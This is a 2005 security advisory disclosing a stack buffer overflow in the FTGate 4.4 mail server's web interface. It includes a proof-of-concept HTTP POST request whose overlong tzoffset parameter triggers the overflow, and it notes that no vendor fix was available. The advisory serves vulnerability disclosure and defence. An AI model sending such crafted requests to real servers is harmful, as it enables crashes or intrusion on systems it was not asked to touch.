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ACS Security Assessment Advisory - Stack Buffer Overflow

ID:       ACSSEC-2005-11-25 - 0x4

Class:    Stack based Buffer Overflow
Package:  FTGate 4.4 [Build 4.4.000 Oct 26 2005]   
Build:    Windows NT/2k/XP/2k3
Notified: Dec 01, 2005
Released: Dec 20, 2005

Remote:   Yes
Severity: Low

Credit:   Tim Shelton          <security-advisories@acs-inc.com>
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-=[ Background

FTGate4 is a powerful Windows(TM) communication suite that combines 
exceptional mail handling facilities with comprehensive Groupware 
functionality. Its security and collaboration features were developed 
in conjunction with leading ISP's and define a new era in mail server 
performance.


-=[ Technical Description

FTGate 4.4 [Build 4.4.000 Oct 26 2005] is vulnerable to buffer overflow
via a specially crafted POST request. A remote attacker could issue the
vulnerable command followed by a malicious code to execute arbitrary
code.


-=[ Proof of Concepts

POST /index.fts HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; redsand)
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=
0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: SessId=9b5cdbb1c3e1a06da4bf0789b25fe38a; modified=null;
webadmin.remember=null; webadmin.username=null
Referer: http://127.0.0.1:8089/
Content-Type: application/x-www-form-urlencoded
Content-Length: 346

config=1&param1=&href=&tzoffset=11111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
111111111111111111111111111111111111111111111111111111111111&admin=administr
ator%40example.com&password=test12345


An overflow can be found at the variable tzoffset=[OVERFLOW]

-=[ Solution
No remedy available as of December 2005.

-=[ Credits

Vulnerability originally reported by Tim Shelton


-=[ ChangeLog

2005-11-25 : Original Advisory
2005-12-01 : Notified Vendor
2005-12-20 : No response from vendor, disclosing full information.